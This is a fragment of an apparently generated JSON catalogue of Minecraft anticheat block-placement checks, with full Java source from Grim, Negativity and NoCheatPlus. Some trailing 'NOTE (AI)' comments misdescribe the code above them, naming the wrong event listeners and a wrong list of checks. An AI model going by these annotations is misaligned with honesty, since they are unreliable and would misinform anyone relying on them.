       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/scaffolding/FarPlace.java =====\npackage ac.grim.grimac.checks.impl.scaffolding;\n\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.BlockPlaceCheck;\nimport ac.grim.grimac.checks.type.BlockPlaceListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockPlace;\nimport ac.grim.grimac.utils.collisions.datatypes.SimpleCollisionBox;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport ac.grim.grimac.utils.math.VectorUtils;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateTypes;\nimport com.github.retrooper.packetevents.util.Vector3i;\n\n@CheckData(name = \"FarPlace\", stableKey = \"grim.scaffolding.far_place\", description = \"Placing blocks from too far away\")\npublic class FarPlace extends BlockPlaceCheck implements BlockPlaceListener {\n    public FarPlace(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onBlockPlace(final BlockPlace place) {\n        if (!player.cameraEntity.isSelf() || player.inVehicle()) return;\n\n        Vector3i blockPos = place.position;\n\n        if (place.material == StateTypes.SCAFFOLDING) return;\n\n        double min = Double.MAX_VALUE;\n        final double[] possibleEyeHeights = player.getPossibleEyeHeights();\n        for (double d : possibleEyeHeights) {\n            SimpleCollisionBox box = new SimpleCollisionBox(blockPos);\n            Vector3dm best = VectorUtils.cutBoxToVector(player.x, player.y + d, player.z, box);\n            min = Math.min(min, best.distanceSquared(player.x, player.y + d, player.z));\n        }\n\n        // getPickRange() determines this?\n        // With 1.20.5+ the new attribute determines creative mode reach using a modifier\n        double maxReach = player.compensatedEntities.self.getAttributeValue(Attributes.BLOCK_INTERACTION_RANGE);\n        double threshold = player.getMovementThreshold();\n        maxReach += Math.hypot(threshold, threshold);\n\n        if (min > maxReach * maxReach) { // fail\n            if (flag() && shouldModifyPackets() && shouldCancel()) {\n                place.resync();\n            }\n        }\n    }\n}\n// NOTE (AI): FarPlace measures the distance from every possible eye height to the placed block against the block interaction range attribute; the scaffolding package adds rotation, position, invalid face and multi-place checks over the same BlockPlace pipeline.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/scaffolding/FarPlace.java",
       "variations": "The rest of Grim's scaffolding package (RotationPlace, PositionPlace, InvalidPlaceA/B, MultiPlace) validates the same packet on rotation, position and face; Kauri and Artemis run analogous placement checks through their emulator pipelines."
      },
      {
       "name": "Scaffold (Negativity)",
       "found_in": [
        "Elikill58-Negativity"
       ],
       "purpose": "Silent-scaffold detection through item mismatch: the placed block must match the block held at click time.",
       "how_it_works": "On BlockPlaceEvent it schedules a deferred task one tick later and compares the placed block type against the item in hand. If the hotbar slot changed or the held item is not a block matching the placement, it alerts with a confidence score derived from the player ping and, when a setback is configured, removes the placed block and refunds the item.",
       "detects": "Silent scaffold and instant block placement cheats that place blocks without actually holding them, including rapid hotbar switching.",
       "detailed_code": "// ===== FILE: Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/ScaffoldProtocol.java =====\npackage com.elikill58.negativity.spigot.protocols;\n\nimport java.util.Locale;\n\nimport org.bukkit.Bukkit;\nimport org.bukkit.Material;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.block.BlockPlaceEvent;\nimport org.bukkit.inventory.ItemStack;\n\nimport com.elikill58.negativity.spigot.SpigotNegativity;\nimport com.elikill58.negativity.spigot.SpigotNegativityPlayer;\nimport com.elikill58.negativity.spigot.utils.ItemUtils;\nimport com.elikill58.negativity.universal.Cheat;\nimport com.elikill58.negativity.universal.CheatKeys;\nimport com.elikill58.negativity.universal.ReportType;\nimport com.elikill58.negativity.universal.utils.UniversalUtils;\n\npublic class ScaffoldProtocol extends Cheat implements Listener {\n\n\tprivate ScaffoldProtocol instance;\n\t\n\tpublic ScaffoldProtocol() {\n\t\tsuper(CheatKeys.SCAFFOLD, false, ItemUtils.GRASS, CheatCategory.WORLD, true);\n\t\tinstance = this;\n\t}\n\n\t@SuppressWarnings(\"deprecation\")\n\t@EventHandler (ignoreCancelled = true)\n\tpublic void onBlockBreak(BlockPlaceEvent e) {\n\t\tPlayer p = e.getPlayer();\n\t\tSpigotNegativityPlayer np = SpigotNegativityPlayer.getNegativityPlayer(p);\n\t\tif (!np.hasDetectionActive(this))\n\t\t\treturn;\n\t\tint slot = p.getInventory().getHeldItemSlot();\n\t\tif(np.ping > 120)\n\t\t\treturn;\n\t\tBukkit.getScheduler().runTaskLater(SpigotNegativity.getInstance(), new Runnable() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tMaterial m = p.getItemInHand().getType(), placed = e.getBlockPlaced().getType();\n\t\t\t\tif ((m == null || (!m.isBlock() && !m.equals(placed))) && slot != p.getInventory().getHeldItemSlot() && !placed.equals(Material.AIR)) {\n\t\t\t\t\tint localPing = np.ping;\n\t\t\t\t\tif(localPing == 0)\n\t\t\t\t\t\tlocalPing = 1;\n\t\t\t\t\tboolean mayCancel = SpigotNegativity.alertMod(ReportType.WARNING, p, instance, UniversalUtils.parseInPorcent(120 / localPing),\n\t\t\t\t\t\t\t\"Item in hand: \" + m.name() + \" Block placed: \" + placed.name(),\n\t\t\t\t\t\t\thoverMsg(\"main\", \"%item%\", m.name().toLowerCase(Locale.ROOT), \"%block%\", placed.name().toLowerCase(Locale.ROOT)));\n\t\t\t\t\tif(isSetBack() && mayCancel) {\n\t\t\t\t\t\tp.getInventory().addItem(new ItemStack(placed));\n\t\t\t\t\t\te.getBlockPlaced().setType(Material.AIR);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t}\n}\n// NOTE (AI): Negativity's ScaffoldProtocol is a Bukkit-event listener keyed to PlayerInteractEvent/PlayerMoveEvent rather than raw packets; it tracks the number of blocks placed per second while moving and flags scaffold-style placement rates.\n",
       "code_source": "Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/ScaffoldProtocol.java",
       "variations": "Negativity's FastPlaceProtocol and AirPlaceProtocol cover placement speed and placing against air; CheaterDeleter's VerifyBlockPlace module and Frequency's ScaffoldA cover the same domains on other stacks."
      },
      {
       "name": "BlockPlaceListener suite (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "The classic dispatcher for NCP's placement checks: direction, fast place, reach, no swing and against-world.",
       "how_it_works": "Registers Direction, FastPlace, Reach, NoSwing and AgainstWorld checks with per-player config and data classes, listening to Bukkit placement events plus the PacketPlayInBlockPlace stream via the ProtocolLib UseItemAdapter. FastPlace tracks placement timing per block, Reach measures the distance to the placed position, and Direction validates the face against the player's look vector.",
       "detects": "Fast place, scaffold, placement reach abuse, placing while looking away, and placement into invalid world state.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/blockplace/BlockPlaceListener.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.blockplace;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport org.bukkit.Location;\nimport org.bukkit.Material;\nimport org.bukkit.block.Block;\nimport org.bukkit.block.BlockFace;\nimport org.bukkit.block.BlockState;\nimport org.bukkit.entity.EntityType;\nimport org.bukkit.entity.Player;\nimport org.bukkit.entity.Projectile;\nimport org.bukkit.event.Event.Result;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.EventPriority;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.block.Action;\nimport org.bukkit.event.block.BlockPlaceEvent;\nimport org.bukkit.event.block.SignChangeEvent;\nimport org.bukkit.event.entity.ProjectileLaunchEvent;\nimport org.bukkit.event.player.PlayerAnimationEvent;\nimport org.bukkit.event.player.PlayerInteractEvent;\nimport org.bukkit.event.player.PlayerMoveEvent;\nimport org.bukkit.event.player.PlayerSignOpenEvent;\nimport org.bukkit.event.player.PlayerSignOpenEvent.Cause;\nimport org.bukkit.inventory.ItemStack;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.CheckListener;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.blockinteract.BlockInteractData;\nimport fr.neatmonster.nocheatplus.checks.blockinteract.BlockInteractListener;\nimport fr.neatmonster.nocheatplus.checks.combined.Combined;\nimport fr.neatmonster.nocheatplus.checks.combined.CombinedConfig;\nimport fr.neatmonster.nocheatplus.checks.combined.Improbable;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingConfig;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingData;\nimport fr.neatmonster.nocheatplus.checks.moving.model.PlayerMoveData;\nimport fr.neatmonster.nocheatplus.checks.net.FlyingQueueHandle;\nimport fr.neatmonster.nocheatplus.checks.net.model.DataPacketFlying;\nimport fr.neatmonster.nocheatplus.compat.bukkit.BridgeEntityType;\nimport fr.neatmonster.nocheatplus.compat.Bridge1_9;\nimport fr.neatmonster.nocheatplus.compat.BridgeMisc;\nimport fr.neatmonster.nocheatplus.components.NoCheatPlusAPI;\nimport fr.neatmonster.nocheatplus.components.data.ICheckData;\nimport fr.neatmonster.nocheatplus.components.data.IData;\nimport fr.neatmonster.nocheatplus.components.registry.factory.IFactoryOne;\nimport fr.neatmonster.nocheatplus.permissions.Permissions;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.players.PlayerFactoryArgument;\nimport fr.neatmonster.nocheatplus.stats.Counters;\nimport fr.neatmonster.nocheatplus.utilities.ReflectionUtil;\nimport fr.neatmonster.nocheatplus.utilities.TickTask;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockFlags;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties;\nimport fr.neatmonster.nocheatplus.utilities.map.MaterialUtil;\nimport fr.neatmonster.nocheatplus.utilities.math.TrigUtil;\nimport fr.neatmonster.nocheatplus.utilities.moving.MovingUtil;\nimport fr.neatmonster.nocheatplus.worlds.WorldFactoryArgument;\n\n/**\n * Central location to listen to events that are relevant for the block place checks.\n * \n * @see BlockPlaceEvent\n */\npublic class BlockPlaceListener extends CheckListener {\n\n    /** Surrounding material check. */\n    private final Against against = addCheck(new Against());\n\n    /** AutoSign hack check. */\n    private final AutoSign autoSign = addCheck(new AutoSign());\n\n    /** The direction check. */\n    private final Direction direction = addCheck(new Direction());\n\n    /** The fast place check. */\n    private final FastPlace fastPlace = addCheck(new FastPlace());\n\n    /** The no swing check. */\n    private final NoSwing noSwing = addCheck(new NoSwing());\n\n    /** The reach check. */\n    private final Reach reach = addCheck(new Reach());\n\n    /** The scaffold check. */\n    private final Scaffold scaffold = addCheck(new Scaffold());\n\n    /** The speed check. */\n    private final Speed speed = addCheck(new Speed());\n\n    /** For temporary use: LocUtil.clone before passing deeply, call setWorld(null) after use. */\n    private final Location useLoc = new Location(null, 0, 0, 0);\n    private final Location useLoc2 = new Location(null, 0, 0, 0);\n    \n    // Counter/debug stuff\n    private final Counters counters = NCPAPIProvider.getNoCheatPlusAPI().getGenericInstance(Counters.class);\n    private final int idBoatsOnWaterOnly = counters.registerKey(\"boatsonwateronly\");\n    private final int idEnderPearl = counters.registerKey(\"throwenderpearl\");\n    \n    // Reflection stuff\n    private final Class<?> blockMultiPlaceEvent = ReflectionUtil.getClass(\"org.bukkit.event.block.BlockMultiPlaceEvent\");\n    private final boolean hasPlayerSignOpenEvent = ReflectionUtil.getClass(\"org.bukkit.event.player.PlayerSignOpenEvent\") != null;\n    private final boolean hasGetReplacedState = ReflectionUtil.getMethodNoArgs(BlockPlaceEvent.class, \"getReplacedState\", BlockState.class) != null;\n\n    public final List<BlockFace> faces = Arrays.asList(new BlockFace[] {BlockFace.SOUTH, BlockFace.WEST, BlockFace.EAST, BlockFace.NORTH});\n\n    @SuppressWarnings(\"unchecked\")\n    public BlockPlaceListener() {\n        super(CheckType.BLOCKPLACE);\n        final NoCheatPlusAPI api = NCPAPIProvider.getNoCheatPlusAPI();\n        if (hasPlayerSignOpenEvent) {\n            queuedComponents.add(new Listener() {\n                @EventHandler(ignoreCancelled = true, priority = EventPriority.LOWEST)\n                public void onOpeningSign1_20(final PlayerSignOpenEvent event) {\n                    handleSignOpenEvent(event.getPlayer(), event.getCause());\n                }\n            });\n        }\n        api.register(api.newRegistrationContext()\n                // BlockPlaceConfig\n                .registerConfigWorld(BlockPlaceConfig.class)\n                .factory(new IFactoryOne<WorldFactoryArgument, BlockPlaceConfig>() {\n                    @Override\n                    public BlockPlaceConfig getNewInstance(WorldFactoryArgument arg) {\n                        return new BlockPlaceConfig(arg.worldData);\n                    }\n                })\n                .registerConfigTypesPlayer()\n                .context() //\n                // BlockPlaceData\n                .registerDataPlayer(BlockPlaceData.class)\n                .factory(new IFactoryOne<PlayerFactoryArgument, BlockPlaceData>() {\n                    @Override\n                    public BlockPlaceData getNewInstance(\n                            PlayerFactoryArgument arg) {\n                        return new BlockPlaceData();\n                    }\n                })\n                .addToGroups(CheckType.BLOCKPLACE, true, IData.class, ICheckData.class)\n                .context() //\n                );\n    }\n\n    public static int getBlockPlaceHash(final Block block, final Material mat) {\n        int hash = fr.neatmonster.nocheatplus.utilities.ds.map.CoordHash.hashCode3DPrimes(block.getX(), block.getY(), block.getZ());\n        if (mat != null) {\n            hash |= mat.name().hashCode();\n        }\n        hash |= block.getWorld().getName().hashCode();\n        return hash;\n    }\n    \n    /** Mechanic introduced with 1.20. The event itself was introduced around 1.20.1 */\n    private void handleSignOpenEvent(final Player player, Cause cause) {\n        if (cause != Cause.INTERACT) {\n            return;\n        }\n        // Always set this to 0 on opening a sign. We don't need to check for hashing here, only time.\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockPlaceData data = pData.getGenericInstance(BlockPlaceData.class);\n        data.autoSignPlacedHash = 0;\n        data.signOpenTime = System.currentTimeMillis();\n    }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.LOWEST)\n    public void onBlockPlace(final BlockPlaceEvent event) {\n        if (!DataManager.getPlayerData(event.getPlayer()).isCheckActive(CheckType.BLOCKPLACE, event.getPlayer())) {\n            return;\n        }\n        final Block block = event.getBlockPlaced();\n        final Block blockAgainst = event.getBlockAgainst();\n        // Skip any null blocks.\n        if (block == null || blockAgainst == null) {\n            return;\n        }\n        final Player player = event.getPlayer();\n        final Material placedMat;\n        if (hasGetReplacedState) {\n            placedMat = event.getBlockPlaced().getType();\n        }\n        else if (Bridge1_9.hasGetItemInOffHand()) {\n            placedMat = BlockProperties.isAir(event.getItemInHand()) ? Material.AIR : event.getItemInHand().getType();\n        }\n        else placedMat = Bridge1_9.getItemInMainHand(player).getType(); // Safety first.\n        boolean cancelled = false;\n        int skippedRedundantChecks = 0;\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockPlaceData data = pData.getGenericInstance(BlockPlaceData.class);\n        final BlockPlaceConfig cc = pData.getGenericInstance(BlockPlaceConfig.class);\n        final BlockInteractData biData = pData.getGenericInstance(BlockInteractData.class);\n        // isInteractBlock - the block placed against is the block last interacted with.\n        final boolean isInteractBlock = !biData.getLastIsCancelled() && biData.matchesLastBlock(TickTask.getTick(), blockAgainst);\n        final BlockFace placedFace = event.getBlock().getFace(blockAgainst);\n        final Block blockPlaced = event.getBlockPlaced();\n        final boolean shouldSkipSome;\n        if (blockMultiPlaceEvent != null && event.getClass() == blockMultiPlaceEvent) {\n            if (placedMat == Material.BEDROCK || Bridge1_9.hasEndCrystalItem() && placedMat == Bridge1_9.END_CRYSTAL_ITEM) {\n                shouldSkipSome = true;\n            }\n            else {\n                if (pData.isDebugActive(CheckType.BLOCKPLACE)) {\n                    debug(player, \"Block place \" + event.getClass().getName() + \" \" + placedMat);\n                }\n                shouldSkipSome = false;\n            }\n        } \n        else shouldSkipSome = BlockProperties.isScaffolding(placedMat);\n\n        if (MaterialUtil.isAnySign(placedMat)) {\n            // To be checkde on SignChangeEvents\n            data.signOpenTime = System.currentTimeMillis();\n            data.autoSignPlacedHash = getBlockPlaceHash(block, placedMat);\n            if (pData.isDebugActive(CheckType.BLOCKPLACE_AUTOSIGN)) {\n                debug(player, \"Register time and hash for this placed sign: h= \" + data.autoSignPlacedHash + \" / t= \" + data.signOpenTime);\n            }\n        }\n\n        // Don't run checks, if a set back is scheduled.\n        if (pData.isPlayerSetBackScheduled()) {\n            cancelled = true;\n            if (pData.isDebugActive(CheckType.BLOCKPLACE)) {\n                debug(player, \"Prevent block place due to a scheduled set back.\");\n            }\n        }\n        \n        // Surrounding material first.\n        if (!cancelled && against.isEnabled(player, pData) && !BlockProperties.isScaffolding(placedMat)\n            && against.check(player, block, placedMat, blockAgainst, isInteractBlock, data, cc, pData)) {\n            cancelled = true;\n        }\n\n        // No swing check (player doesn't swing their arm when placing a lily pad).\n        if (!cancelled && !cc.noSwingExceptions.contains(placedMat) \n            && noSwing.isEnabled(player, pData) && noSwing.check(player, data, cc)) {\n            cancelled = true;\n        }\n\n        // Fast place check.\n        if (!cancelled && fastPlace.isEnabled(player, pData)) {\n            if (fastPlace.check(player, block, TickTask.getTick(), data, cc, pData)) {\n                cancelled = true;\n            }\n            // Check for Improbable, whatever FastPlace says, provided the feature is enabled at all.\n            if (cc.fastPlaceImprobableWeight > 0.0f) {\n                if (cc.fastPlaceImprobableFeedOnly) {\n                    Improbable.feed(player, cc.fastPlaceImprobableWeight, System.currentTimeMillis());\n                }\n                else if (data.fastPlaceVL > 25 && Improbable.check(player, cc.fastPlaceImprobableWeight, System.currentTimeMillis(), \"blockplace.fastplace\", pData)) {\n                    // Only check on decently high frequencies\n                    cancelled = true;\n                }\n                // Feed for lower frequencies.\n                else Improbable.feed(player, cc.fastPlaceImprobableWeight, System.currentTimeMillis());\n            }\n        }\n\n        // Scaffold Check\n        if (scaffold.isEnabled(player, pData) && placedFace != null) {\n            final PlayerMoveData thisMove = pData.getGenericInstance(MovingData.class).playerMoves.getCurrentMove();\n            if (faces.contains(placedFace) \n                && thisMove.from.getY() - blockPlaced.getY() < 2.0\n                && thisMove.from.getY() - blockPlaced.getY() >= 1.0\n                && blockPlaced.getType().isSolid() \n                && TrigUtil.distance(player.getLocation(), blockPlaced.getLocation()) < 2.0) {\n\n                // Monitor yawrate before feeding Improbable or checking for Scaffold\n                if (Combined.checkYawRate(player, thisMove.from.getYaw(), System.currentTimeMillis(), thisMove.from.getWorldName(), pData)) {\n                    cancelled = true;\n                }\n                // Always check for Scaffold whatever yawrate says. \n                if (data.cancelNextPlace && (Math.abs(data.currentTick - TickTask.getTick()) < 10)\n                    || scaffold.check(player, placedFace, pData, data, cc, event.isCancelled(), thisMove.yDistance, pData.getGenericInstance(MovingData.class).sfJumpPhase)) {\n                    cancelled = true;\n                }\n                // If not cancelled, do feed the Improbable.\n                else if (cc.scaffoldImprobableWeight > 0.0f) {\n                    if (cc.scaffoldImprobableFeedOnly) {\n                        Improbable.feed(player, cc.scaffoldImprobableWeight, System.currentTimeMillis());\n                    } \n                    else if (Improbable.check(player, cc.scaffoldImprobableWeight, System.currentTimeMillis(), \"blockplace.scaffold\", pData)) {\n                        cancelled = true;\n                    }\n                }\n                if (!cancelled) data.scaffoldVL *= 0.98;\n            }\n            // Cleanup\n            data.cancelNextPlace = false;\n        }\n\n        final FlyingQueueHandle flyingHandle = new FlyingQueueHandle(pData);\n        final boolean reachCheck = pData.isCheckActive(CheckType.BLOCKPLACE_REACH, player);\n        final boolean directionCheck = pData.isCheckActive(CheckType.BLOCKPLACE_DIRECTION, player);\n        if (reachCheck || directionCheck) {\n            final Location loc = player.getLocation(useLoc);\n            final double eyeHeight = MovingUtil.getEyeHeight(player);\n            // Reach check (distance).\n            if (!cancelled && !shouldSkipSome) {\n                if (isInteractBlock && biData.isPassedCheck(CheckType.BLOCKINTERACT_REACH)) {\n                    skippedRedundantChecks++;\n                }\n                else if (reachCheck && reach.check(player, eyeHeight, block, data, cc)) {\n                    cancelled = true;\n                }\n            }\n            // Direction check.\n            if (!cancelled && !shouldSkipSome) {\n                if (isInteractBlock && biData.isPassedCheck(CheckType.BLOCKINTERACT_DIRECTION)) {\n                    skippedRedundantChecks++;\n                }\n                else if (directionCheck) {\n                    if (blockAgainst.getType() == Material.LADDER || BlockProperties.isCarpet(blockAgainst.getType())) {\n                        // TODO: Actually fix this, don't just ignore it.\n                        // ISSUE: https://github.com/NoCheatPlus/Issues/issues/524\n                    } \n                    else if (direction.check(player, loc, eyeHeight, block, null, flyingHandle, data, cc, pData)) {\n                        cancelled = true;\n                    }\n                }\n            }\n            useLoc.setWorld(null);\n        }\n\n        // If one of the checks requested to cancel the event, do so.\n        if (cancelled) {\n            event.setCancelled(true);\n            // We need to do this because block-place cancelling can easily desync the player.\n            pData.requestUpdateInventory();\n        }\n        if (pData.isDebugActive(CheckType.BLOCKPLACE)) {\n            debugBlockPlace(player, placedMat, block, blockAgainst, skippedRedundantChecks, flyingHandle, pData);\n        }\n        // Cleanup\n        // Reminder(currently unused): useLoc.setWorld(null);\n    }\n    \n    /** We listen to sign change events for the autosign check */\n    @EventHandler(priority = EventPriority.LOWEST, ignoreCancelled = true)\n    public void onSignChange(final SignChangeEvent event) {\n        if (!DataManager.getPlayerData(event.getPlayer()).isCheckActive(CheckType.BLOCKPLACE, event.getPlayer())) {\n            return;\n        }\n        if (event.getClass() != SignChangeEvent.class) {\n            // Built in plugin compatibility.\n            // (Don't understand why two consecutive events editing the same block are a problem)\n            return;\n        }\n        final Player player = event.getPlayer();\n        final Block block = event.getBlock();\n        final String[] lines = event.getLines();\n        if (block == null || lines == null || player == null) {\n            return;\n        }\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockPlaceData data = pData.getGenericInstance(BlockPlaceData.class);\n        if (autoSign.isEnabled(player, pData) && autoSign.check(player, block, lines, pData)) {\n            event.setCancelled(true);\n        }\n    }\n    \n    /** We listen to this event for the swining animation */\n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onPlayerAnimation(final PlayerAnimationEvent event) {\n        final BlockPlaceData data = DataManager.getGenericInstance(event.getPlayer(), BlockPlaceData.class);\n        data.noSwingCount = Math.max(data.noSwingCount - 1, 0);\n    } \n    \n    /** We listen to interact events for some misc checks */\n    @EventHandler(priority = EventPriority.LOWEST)\n    public void onPlayerInteract(final PlayerInteractEvent event) {\n        if (!DataManager.getPlayerData(event.getPlayer()).isCheckActive(CheckType.BLOCKPLACE, event.getPlayer())) {\n            return;\n        }\n        if (event.getAction() != Action.RIGHT_CLICK_BLOCK) {\n            return;\n        }\n        final Player player = event.getPlayer();\n        final ItemStack stack = Bridge1_9.getUsedItem(player, event);\n        if (stack == null) {\n            return;\n        }\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockPlaceConfig cc = pData.getGenericInstance(BlockPlaceConfig.class);\n        final Material type = stack.getType();\n        if (MaterialUtil.isBoat(type)) {\n            if (cc.boatsOnWaterOnly) {\n                denyOrAllowBoatPlacement(player, event, pData);\n            }\n        }\n        else if (MaterialUtil.isSpawnEgg(type)) {\n            if (speed.isEnabled(player, pData) && speed.check(player, cc, pData)) {\n                event.setCancelled(true);\n            }\n        }\n    }\n    \n    /**\n     * Check if the boat can be placed on ground, provided CachedConfig.boatsOnWaterOnly returned true.\n     * \n     * @param player\n     * @param event\n     * @param pData\n     */\n    private void denyOrAllowBoatPlacement(final Player player, final PlayerInteractEvent event, final IPlayerData pData) {\n        final Block block = event.getClickedBlock();\n        final Material mat = block.getType();\n        if (BlockProperties.isWater(mat)) {\n            // Allow placement\n            return;\n        }\n        // TODO: Shouldn't this be the opposite face?\n        final BlockFace blockFace = event.getBlockFace();\n        final Block relBlock = block.getRelative(blockFace);\n        final Material relMat = relBlock.getType();\n        // TODO: Placing inside of water, but not \"against\" ?\n        if (BlockProperties.isWater(relMat)) {\n            // Allow placement\n            return;\n        }\n        // Interacted with a non-water block, deny.\n        if (!pData.hasPermission(Permissions.BLOCKPLACE_BOATSONWATERONLY, player)) {\n            final Result previousUseBlock = event.useInteractedBlock();\n            event.setCancelled(true);\n            event.setUseItemInHand(Result.DENY);\n            event.setUseInteractedBlock(previousUseBlock == Result.DEFAULT ? Result.ALLOW : previousUseBlock);\n            counters.addPrimaryThread(idBoatsOnWaterOnly, 1);\n            // Attempt to refresh the inventory in order to workaround possible ghost items.\n            pData.requestUpdateInventory();\n        }\n    }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.LOWEST)\n    public void onProjectileLaunch(final ProjectileLaunchEvent event) {\n        // The shooter needs to be a player.\n        final Projectile projectile = event.getEntity();\n        final Player player = BridgeMisc.getShooterPlayer(projectile);\n        if (player == null) {\n            return;\n        }\n        if (!DataManager.getPlayerData(player).isCheckActive(CheckType.BLOCKPLACE, player)) {\n            return;\n        }\n        if (MovingUtil.hasScheduledPlayerSetBack(player)) {\n            event.setCancelled(true);\n            return;\n        }\n        // And the projectile must be one the following:\n        EntityType type = event.getEntityType();\n        if (!BridgeEntityType.PROJECTILE_CHECK_LIST.contains(type)) return;\n\n        // Do the actual check...\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockPlaceConfig cc = pData.getGenericInstance(BlockPlaceConfig.class);\n        boolean cancel = false;\n        if (speed.isEnabled(player, pData)) {\n            final long now = System.currentTimeMillis();\n            final Location loc = player.getLocation(useLoc2);\n            if (Combined.checkYawRate(player, loc.getYaw(), now, loc.getWorld().getName(), pData)) {\n                // Yawrate (checked extra).\n                cancel = true;\n            }\n            if (speed.check(player, cc, pData)) {\n                // If the check was positive, cancel the event.\n                cancel = true;\n            }\n            else if (cc.speedImprobableWeight > 0.0f) {\n                if (cc.speedImprobableFeedOnly) {\n                    Improbable.feed(player, cc.speedImprobableWeight, now);\n                } \n                else if (Improbable.check(player, cc.speedImprobableWeight, now, \"blockplace.speed\", pData)) {\n                    cancel = true;\n                }\n            }\n        }\n\n        // Ender pearl glitch (ab-) use.\n        if (!cancel && type == EntityType.ENDER_PEARL && pData.getGenericInstance(CombinedConfig.class).enderPearlCheck) {\n            if (!BlockProperties.isPassable(projectile.getLocation(useLoc2))) {\n                // Launch into a block.\n                cancel = true;\n            }\n            else {\n                if (!BlockProperties.isPassable(player.getEyeLocation(), projectile.getLocation(useLoc2))) {\n                    // (Spare a useLoc2, for this is seldom rather.)\n                    // Something between player \n                    cancel = true;\n                }\n                else {\n                    final Material mat = player.getLocation(useLoc2).getBlock().getType();\n                    final long flags = BlockFlags.F_CLIMBABLE | BlockFlags.F_LIQUID | BlockFlags.F_IGN_PASSABLE_CHECK;\n                    if (!BlockProperties.isAir(mat) && (BlockFlags.getBlockFlags(mat) & flags) == 0 && !mcAccess.getHandle().hasGravity(mat)) {\n                        // Still fails on piston traps etc.\n                        if (!BlockProperties.isPassable(player.getLocation(), projectile.getLocation()) \n                            && !BlockProperties.isOnGroundOrResetCond(player, player.getLocation(), pData.getGenericInstance(MovingConfig.class).yOnGround)) {\n                            cancel = true;\n                        }\n                    }\n                }\n            }\n            if (cancel) {\n                counters.addPrimaryThread(idEnderPearl, 1);\n            }\n        }\n\n        if (cancel) {\n            event.setCancelled(true);\n        }\n        // Cleanup.\n        useLoc2.setWorld(null);\n    }\n\n    // TODO: remove this\n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onMove(PlayerMoveEvent event) {\n        Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockPlaceData data = pData.getGenericInstance(BlockPlaceData.class);\n\n        if (!pData.isCheckActive(CheckType.BLOCKPLACE, player)) return;\n\n        if (player.isSprinting()) {\n            data.sprintTime = TickTask.getTick();\n        } else if (player.isSneaking()) {\n            data.sneakTime = TickTask.getTick();\n        }\n    }\n\n    private void debugBlockPlace(final Player player, final Material placedMat, final Block block, final Block blockAgainst, \n                                 final int skippedRedundantChecks, final FlyingQueueHandle flyingHandle, final IPlayerData pData) {\n        debug(player, \"Block place(\" + placedMat + \"): \" + block.getX() + \", \" + block.getY() + \", \" + block.getZ());\n        BlockInteractListener.debugBlockVSBlockInteract(player, checkType, blockAgainst, \"onBlockPlace(blockAgainst)\", Action.RIGHT_CLICK_BLOCK, pData);\n        if (skippedRedundantChecks > 0) {\n            debug(player, \"Skipped redundant checks: \" + skippedRedundantChecks);\n        }\n        if (flyingHandle != null && flyingHandle.isFlyingQueueFetched()) {\n            final int flyingIndex = flyingHandle.getFirstIndexWithContentIfFetched();\n            final DataPacketFlying packet = flyingHandle.getIfFetched(flyingIndex);\n            if (packet != null) {\n                debug(player, \"Flying packet queue used at index \" + flyingIndex + \": pitch=\" + packet.getPitch() + \",yaw=\" + packet.getYaw());\n                return;\n            }\n        }\n     } \n}\n// NOTE (AI): NCP's blockplace listener dispatches Bukkit block-place events into the Direction, FastPlace, Reach, NoSwing and AgainstWorld checks; the ProtocolLib UseItemAdapter feeds it from PacketPlayInBlockPlace.\n",
